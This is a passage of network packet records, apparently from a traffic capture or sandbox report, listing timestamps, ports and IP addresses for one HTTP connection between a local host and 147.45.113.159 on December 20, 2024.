Dec 20, 2024 17:13:18.943468094 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.062772036 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.062791109 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.062836885 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.062850952 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.062861919 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.062869072 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.062872887 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.062937021 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.105945110 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.106043100 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.225861073 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.225934029 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.269736052 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.270621061 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.389724970 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.477721930 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.478111982 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.725790977 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.725841045 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.965785027 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.965856075 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.974656105 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:19.974796057 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:19.974865913 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.086240053 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.086342096 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.094577074 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094650984 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.094723940 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094753981 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094782114 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094785929 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.094811916 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094863892 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.094872952 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094901085 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094949961 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094976902 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.094978094 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.095004082 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095037937 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095084906 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095098019 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.095139980 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.095226049 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095252991 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095273972 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.095299006 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.095366001 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095413923 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095539093 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095566034 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095593929 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095689058 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095716953 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095762968 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095848083 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095875025 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.095935106 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.096045971 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.096051931 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.096133947 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.096162081 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.096220016 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.096293926 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.096410036 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.096637011 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.096720934 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.096772909 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.141788960 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.141853094 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.207345963 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.207835913 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.214900970 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215014935 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.215158939 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215240002 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.215332031 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215423107 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215476990 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215534925 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215650082 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215728998 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215867043 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.215909958 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216079950 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216089964 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216110945 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216211081 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216222048 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216360092 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216368914 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216433048 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216576099 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216584921 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216629982 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216639042 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216650963 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216723919 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.216792107 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216801882 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216810942 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216821909 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216845989 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.216900110 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.216908932 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217082977 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217092037 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217163086 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217171907 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217194080 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.217318058 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217401981 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217411995 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217420101 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217489004 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217499018 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217566967 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217653036 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217772007 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217782974 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217843056 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217852116 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217931032 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.217940092 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218007088 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218110085 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218117952 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218127012 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218245029 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218255043 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218327999 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218414068 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218424082 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218431950 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218521118 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218672991 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218683004 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218693018 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.218753099 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.261401892 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.327383995 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.327476025 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.334961891 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.335341930 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.335407019 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.335427046 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.335563898 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337250948 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337313890 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337431908 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337441921 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337505102 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337541103 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337703943 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337750912 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.337878942 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338046074 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338208914 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338219881 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338284969 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338370085 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338397980 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338407040 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338494062 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338515997 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338603973 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338613033 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.338989973 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.339111090 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.339118958 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.339128017 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.339171886 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.339181900 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.339277029 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.339309931 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.339324951 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340038061 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340143919 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340152979 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340296030 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340306997 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340334892 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340411901 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340449095 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340467930 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.340998888 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341032982 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341042995 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341228008 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341237068 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341247082 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341435909 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341445923 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341454029 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341638088 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341670990 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341772079 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.341780901 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.342408895 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.342442036 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.342469931 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.402507067 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.402595043 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.402755022 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.402817011 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.522408962 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.522445917 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.522577047 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.522607088 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.522814035 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.522931099 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.522958994 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523061991 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523089886 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523118019 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523145914 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523195028 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523221970 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523250103 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523297071 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523344040 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523375988 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523402929 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523518085 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523561954 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523657084 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523684978 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523736954 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523786068 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523813963 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523845911 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.523931026 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524066925 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524095058 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524144888 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524173021 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524205923 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524260044 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524291992 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524317980 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524344921 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524408102 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524440050 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524553061 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524580956 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524611950 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524786949 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524815083 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524846077 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.524894953 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525074959 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525103092 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525130987 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525161982 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525188923 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525238037 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525265932 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525294065 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525376081 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525403976 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525434017 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525465965 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525573015 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525600910 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525630951 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525685072 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525712967 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525743961 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525823116 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525851965 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525877953 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525926113 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.525954962 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526066065 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526196957 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526225090 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526252031 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526300907 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526329041 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526355982 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526504040 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526531935 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526559114 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526586056 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526612997 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526669025 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526698112 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526724100 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526751995 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.526803970 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527014017 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527059078 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527086973 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527136087 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527163029 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527189970 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527237892 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527266026 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527292013 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527383089 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527410030 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527517080 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527544975 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527571917 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527600050 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527647972 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527674913 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527702093 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527750015 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527776957 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.527802944 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.528790951 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.528878927 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.529611111 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.542854071 CET	49707	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:20.648701906 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.648734093 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.648802996 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.648829937 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.648878098 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.648942947 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.648971081 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.648998022 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649054050 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649082899 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649127960 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649154902 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649267912 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649296045 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649322033 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649367094 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649394035 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649439096 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649466038 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649492979 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649599075 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649626017 CET	80	49707	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:20.649699926 CET	80	49707	147.45.113.159	192.168.2.9
